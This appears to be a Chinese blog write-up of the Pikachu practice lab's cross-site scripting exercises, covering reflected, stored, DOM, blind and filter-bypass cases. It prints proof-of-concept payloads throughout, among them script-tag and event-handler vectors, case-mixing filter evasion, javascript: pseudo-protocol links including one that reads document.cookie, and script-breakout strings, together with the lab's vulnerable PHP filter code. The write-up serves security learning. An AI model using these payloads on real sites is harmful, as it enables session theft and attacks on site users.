• Pikachu XSS(跨站脚本攻击)


    Cross-Site Scripting

    XSS(跨站脚本)概述

    ​ Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

    SS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

    XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

    形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

    因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

    输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

    输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

    反射型xss(get)

    image-20230916142811323

    修改最大长度为100,写一个弹框操作:

    <script>alert(/xss/)</script>
    
    • 1

    image-20230916143048389

    成功执行:

    image-20230916143113456

    反射型xss(post)

    账号admin,密码123456直接登录。

    image-20230916143827189

    发现没有做限制。

    输入POC :

    <script>alert(/xss/)</script>
    
    • 1

    成功执行:

    image-20230916143414741

    存储型xss

    在留言板里直接写入POC:

    <script>alert(/xss/)</script>
    
    • 1

    在这里插入图片描述

    出现xss的弹框后,点击确定,发现有个删除,说明确实是存到数据库里了。

    image-20230916144900256

    查看数据库有没有这两条数据:

    image-20230916145131199

    这就是存储型反射型永久性和一次性的区别,会永久的存储在数据库中。

    发射型XSS与存储型XSS区别:

    **反射型XSS:**是非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

    存储型XSS: 是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

    所以存储型XSS危害面比较广,漏洞提交平台会接收此类漏洞。

    DOM型xss

    javascript语言中分两种BOMDOM

    BOM:浏览器对象模型 Brower Object Model
    js代码操作浏览器
    DOM:文档对象模型 Document Object Model
    js代码操作标签

    点击click me!,出现what do you see? ,查看网页源代码,ctrl+f查找what do you see? 的位置:

    image-20230916151829485

    这段Java script的代码,我们看看是什么意思
    首先它使用dom里面的document.getElementById获取到了id=text的值
    text 就是下面input 也就是我们输入的内容,。
    然后通过dom的操作,将我们输入的内容拼接在了a标签的href属性中
    接着a标签会写在id=dom的div标签中
    通过分析代码,我们发现我们输入的东西是str,而str又拼接在A标签中,这样的话,我们就有思路了
    通过将前面A标签闭合,来构造一个恶意代码

    //方式一:
    '>)">
    
    //方式二:
    'onclick="alert(/xss/)">
    
    • 1
    • 2
    • 3
    • 4
    • 5

    说明:

    onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

    onclick 事件会在元素被点击时发生。

    简单来说就是单引号闭合前面那个单引号

    尖括号闭合a标签
    中间再来一个弹窗

    image-20230916153131402

    DOM型xss-x

    image-20230916154140425

    同样是有一段Java script的代码
    简单分析一下
    它会将URL中传参的内容获取到,然后通过一个url的解码,获取到输入内容并赋值给xss
    然后将变量xss写入a标签的href属性中
    这样的话,我们的思路和刚刚一样
    同样是闭合a标签构造代码

    //方式一:
    '>)">
    
    //方式二:
    'οnclick=“alert(‘xss’)>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230916155012149

    xss-盲打

    将留言保存至后台 当管理员登录查看留言时就会触发

    在页面中两个输入框中都输入,提交后没有反应

    查看数据库:

    image-20230916160120268

    也可以点一下提示,让去后台看看,发现登录后台,就会弹框:

    image-20230916160322310

    xss-过滤

    image-20230916170133028

    <script>alert(/xss/)</script>
    //没有执行弹框操作,不知道过滤了什么
    
    //双写
    <scscriptript>alert(/xss/)</scscriptript>
    //还是没有执行弹框操作
    
    //大小写
    <Script>alert(/xss/)</sCRIpt>
    //成功执行弹框操作
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image-20230916170409537

    //其他方法:
    
    // 1. javascript  伪协议
    <a href = javaSCRIPT:alert(/xss/) >click me!</a>
    //可行。
    
        
    // 2. 事件响应
    <img src = "#" onmouseover = 'alert(/dont touch me!/)'/>
    // onmouseover 事件会在鼠标指针移动到指定的元素上时发生。
    //可行。   
        
    <input type = 'text' onkeydown = 'alert(/xss/)'>
    // onkeydown 事件会在用户按下一个键盘按键时发生。
    //可行。
        
    <input type = 'text' onkeyup = 'alert(/xss/)'>
    // onkeyup 事件会在键盘按键被松开时发生。
    //可行。
        
        
    // 3. 其他标签
    <svg onload='alert(/xss/)'>
    // onload 事件会在页面或图像加载完成后立即发生。 
    //可行 
        
    <input onfocus=alert(/xss/) autofocus>
    // onfocus 事件在对象获得焦点时发生。    
    //可行。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    查看一下源码:

    if(isset($_GET['submit']) && $_GET['message'] != null){
        //这里会使用正则对
        $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
    //    $message=str_ireplace(' 结果:

    image-20230916174308440

    查看网页源代码:

    image-20230916174420748

    specialchars函数就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的。

    这里我们知道我们输入的在a标签里面,可以考虑伪协议,已经有现成的a标签,不需要重复写:

    javascript:alert("/xss/")
    
    • 1

    image-20230916175543515

    xss之href输出

    href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

    //伪协议
    // 1:弹框
    javascript:alert("/xss/")
    
    // 2:显示当前页面的 Cookie 数据。
    javascript:alert(document.cookie)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    image-20230916180327806

    xss之js输出

    image-20230916192314738

    先输入tmac :

    image-20230916192438132

    可以提前闭合

    </script><script>alert(/xss/)</script>
    
    • 1

    image-20230916192926915

    image-20230916192818260

    也可以' ; alert(/g_h_i/); // , 页面接受到的就是$ms=''; alert(g_h_i);//'

    '; alert(/g_h_i/); //
    
    • 1

    第一步: $ms=‘’'加一个单引号是为了闭合前面的单引号

    第二步: $ms=‘’;’ 加分号, 表示语句结束

    第三步:$ms=‘’;alert(/xss/);’ 弹框

    第四步: $ms=‘’;alert(/xss/);//’ 把//后面的单引号注释掉

    image-20230916193934716

  • 相关阅读:
    x86_64 ubuntu22.04 源码编译WebKit-7615.3.12.11.3
    信息安全基础
    HDFS、Yarn、Hive…MRS中使用Ranger实现权限管理全栈式实践
    laravel的这个:$request->offsetSet(‘key‘, $value) 是什么意思?
    Intel汇编-Linux系统调用
    基于Java+SpringBoot+Vue前后端分离的房屋租赁管理系统
    TCP 加速小记
    jail内部ubuntu apt升级失败问题解决-Dynamic MMap ran out of room
    【linux命令讲解大全】051.Linux Awk脚本语言中的字段定界符和流程控制
    WordPress重新安装的几种方法(2022年新版教程)
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/132922712